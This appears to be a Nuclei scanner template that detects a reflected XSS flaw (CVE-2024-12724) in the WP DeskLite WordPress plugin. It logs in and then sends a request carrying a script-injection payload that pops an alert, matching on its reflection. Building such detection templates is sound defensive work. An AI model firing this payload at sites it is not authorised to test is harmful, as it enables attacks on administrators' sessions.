CVE-2024-12724: WP DeskLite - Reflected XSS

id: CVE-2024-12724

info:
  name: WP DeskLite - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP DeskLite WordPress plugin through 1.0.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to account takeover or unauthorized actions.
  remediation: |
    Update to the latest version with proper input sanitization and escaping.
  reference:
    - https://wpscan.com/vulnerability/9dd3ffaa-9020-47a6-bf9a-7e1412b9e9d5/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12724
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-12724
    cwe-id: CWE-79
    epss-score: 0.00573
    epss-percentile: 0.45567
    cpe: cpe:2.3:a:codeflock:wp_desklite:1.0.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: codeflock
    product: wp_desklite
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,wp-desklite,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=wpdl_ticket&"></script><script>alert(1)</script><script>=` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(1)</script><script>","wp-desklite")
        condition: and
# digest: 490a0046304402201234b3810dfc773b035c8b16c3e82cdecd66c579a588d7dc58bd71ca5d664c1f02203d01ab09947b1d6723d9adf4917d1409d12e2cc65622acf8a522921b6128b668:922c64590222798bb761d5b6d8e72950

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